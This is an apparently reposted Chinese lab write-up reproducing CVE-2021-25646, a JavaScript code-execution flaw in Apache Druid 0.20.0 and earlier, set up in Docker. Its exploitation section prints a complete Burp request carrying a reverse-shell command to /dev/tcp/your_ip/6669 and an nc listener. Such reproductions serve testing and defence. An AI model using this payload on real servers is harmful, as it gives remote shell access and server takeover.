CVE-2021-25646 Apache Druid 访问控制错误漏洞复现
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
CVE-2021-25646 Apache Druid 访问控制错误漏洞复现
0x01 漏洞概述
Apache Druid是美国阿帕奇软件(Apache)基金会的一款使用Java语言编写的、面向列的开源分布式数据库。Apache Druid 0.20.0和更早的版本存在访问控制错误漏洞,该漏洞允许经过身份验证的用户强制Druid运行用户提供的JavaScript代码,并执行服务器进程特权的代码。
0x02 影响版本
Apache Druid 0.20.0及更早的版本
0x03 环境搭建
使用docker环境搭建,安装docker后,拉取镜像到本地,拉取命令如下:
docker pull fokkodriesprong/docker-druid
启动镜像
docker run --rm-i-p8888:8888 fokkodriesprong/docker-druid
0x04 漏洞复现
1.启动镜像后,访问http://ip:8888,进入Apache Druid首页,然后点击左上方Load data。
2.点击Local disk
3.在右边填写以下代码
Base directory:quickstart/tutorial/
File filter:wikiticker-2015-09-12-sampled.json.gz
4.点击 Preview
一路点击 Next
直到Filter时,打开Burpsuite Pro进行抓包
5.点击Action->Sent to Reapeter 发送到Repeater模块
替换data数据为
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/your_ip/6669 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
6.直接反弹shell进行测试,在攻击机上使用nc监听,监听命令如下:
nc-lvp6669
7.点击发送,如图所示
8.成功反弹shell到攻击机。
0x05 防护建议
建议将Druid升级到最新版本
目前厂商已发布升级补丁以修复漏洞,补丁获取链接
本文为 FreeBuf-329171 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现
2021-08-31
CVE-2020-11651CVE-2020-11652 SaltStack认证绕过漏洞、目录遍历漏洞
2021-08-30
CVE-2020-1938 Tomcat AJP漏洞复现
2021-08-27
文章目录